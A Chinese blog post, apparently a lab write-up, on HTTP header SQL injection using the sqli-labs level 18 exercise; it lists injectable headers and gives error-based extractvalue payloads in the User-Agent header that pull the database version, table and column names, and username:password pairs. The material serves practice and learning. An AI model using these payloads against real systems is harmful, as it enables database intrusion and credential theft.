zoukankan      html  css  js  c++  java
  • HTTP Header 注入

    可被注入的参数

    • cookie
    • referer
    • user-agent
    • x-forward-for
    • client-ip
    • host

    参数介绍

    网站为了辨别⽤户⾝份、进⾏ session 跟踪⽽储存在⽤户本地终端上的数据(通常经过加密).

    referer

    浏览器向 WEB 服务器表明⾃⼰是从哪个页⾯链接过来的.

    user-agent

    使得服务器能够识别客户使⽤的操作系统,游览器版本等.(很多数据量⼤的⽹站中会记录客户使⽤的操作系统或浏览器版本等存⼊数据库中)

    x-forward-for

    简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常⼀些⽹站的防注⼊功能会记录请求端真实IP地址并写⼊数据库or某⽂件[通过修改XXF头可以实现伪造IP]).

    client-ip

    客户端IP,每次上网的时候可能不一样

    host

    浏览器向 WEB 服务器表明⾃⼰是从哪个页⾯链接过来的

    注入姿势

    以sqli_labs18为例

    输入类容,抓包


    在可以注入的点,进行测试


    理论上可注入点有6个:cookie、referer、user-agent、host、client-ip、x-forward-for但并不是每一个请求报文都全部包含着6个请求报头
    通过对 referer、host、user-agent后加'得到页面请求错误,直接404给整懵了。
    折腾了很一阵儿,单个单个加引号在user_agent和referer可以访问页面成功,单引号没有起到任何作用。

    host处加引号直接400
    网上查了下资料,18关存在注入的前提是账号和密码首先要输入正确——账号:admin 密码:admin
    OK,我们再来.
    我直接在原有的数据包将用户名和密码改为admin,给个注入点加引号不行。

    于是我第18关在页面账户和密码上输入admin,是得到了成功访问的提示
    于是我重新进行抓包来尝试
    加入引号后直接400,差点奔溃。
    仔细观察后,是引号格式的问题,我虽然键盘调的是引文格式,可输入到repeater模块就成了中文格式,于是再option将宋体格式调整arial
    给host,user-agent,referer后加上'后,访问不了页面
    于是 一个一个加',看哪个会报错
    user-agent处会报错,并且告诉了错误的原因


    于是说明此处是可以进行报错注入的

    获取数据

    ' and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '1'='1

    剩下的就是报错注入,一步一步来
    但是,我看到了国光大佬的博客,然后,我就自闭了

    我找找资料,慢慢来,我要把这语句看懂https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-37

    获取数据表(还是不偷懒了)

    ' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1

    之中我们选择users这张表

    获取列名

    ' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e)) and '1'='1

    获取具体数据

    'and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) and '1'='1

    分析

    马后炮的行为:我应该通过这张图知道user-agent后应该还有两个参数,我后续的payload要想办法填充这两个参数

  • 相关阅读:
    【java】报错could not find the main class,program will
    CSS3——阴影
    SSO单点登录系列2:cas客户端和cas服务端交互原理动画图解,cas协议终极分析
    SSO单点登录系列3:casserver端配置认证方式实践
    [转载] jQuery Mobile 开发 Web App 系列文章目录
    SHELL基本语法2
    SHELL编程基本语法
    如何写批处理文件
    LINUX shell-快速参考[一]
    Shell中的引号,反引号,双引号,反斜杠
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14975780.html
Copyright © 2011-2022 走看看